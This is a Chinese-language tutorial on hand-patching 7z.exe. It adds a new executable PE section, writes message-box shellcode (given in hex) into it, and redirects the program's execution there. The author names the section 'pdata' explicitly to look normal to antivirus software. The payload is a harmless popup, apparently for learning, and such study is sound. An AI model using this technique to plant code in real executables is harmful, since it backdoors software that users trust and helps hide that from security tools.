shellcode是一个弹窗,为:
fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db536877657374686661696c8bc453505053ff57fc53ff57f8
pe文件为7z.exe
首先新增节(手工):
一般能实现特定功能的shellcode的长度都比较长,可以分到几个节上的空白区,但比较麻烦,或者把最后一个节扩大,但最后一个节一般都没有执行的属性,所以选择新增一个节表
修改添加节表:
1.先判断最后一个节表后面有没有足够40个字节新增一个节表的结构体,正常的都能
2.把第一个节表拷贝到最后一个节表的后面,因为第一个节表的属性默认是可执行,可以省略修改。
3.节表是复制过来的,所以要修改很多东西,先获取一下文件对齐和内存对齐。
1.SectionAlignment内存对齐,在扩展PE头上的第十一个属性,基于扩展PE头偏移地址32个字节,大小为DWORD,当前程序 0x1000
2.FileAlignment 文件对齐,扩展pe头的第十二个属性,基于PE头偏移36个字节,大小为Dword,当前程序为0x200
Name 改为pdata,使杀毒软件看着尽量正常一点
Virtualsize 1000 00 20 00 00
Virtualaddress 上一节的virtualAddress加上上上一个virtualsize按照sectionAlignment的整数倍对齐 80000h+6502h 整数倍 00 80 70 00
SizeofRawData FileAligment的整数倍,改1000
PointerToRawData 上一节表的potinertorawData加上sizeofwardata再按照FileAlignment的整数倍 6600h+7c400 整数倍 82a00 00 2a 08 00
PointerTorelocations 00000000
Pointerlinenumbers 00000000
Numberofrelocations 0000
NumberofLinenumbers 0000
Characteristics 不用改 复制的.text的权限
更改后的pdata区域
尾部填充1000h =4096字节
修改标准PE头
修改标准PE头的NumberofSections属性,修改节表的数量,
修改pe扩展表
修改sizeofimage,在原来的基础上添加的字节大小,按照内存大小,基于PE扩展表偏移,大小为dword 00087000+1000
另存为7z文件,双击功能正常。
使用od载入添加节的7z
查看内存,查看添加的pdata
跳转到0x0048 7000
我们让程序运行到此处,执行shellcode的位置随意挑选,只要能被触发
push 0x4623DC
改为
Jmp 0x0048 7000
在pushad内存写入shellcode和其他汇编代码
Pushad
Pushfd
Shellcode
Popfd
Popad
Push 0x4623dc
Jmp 0x43f2cb
保存修改,执行7z.exe,最后成功利用shellcode弹窗。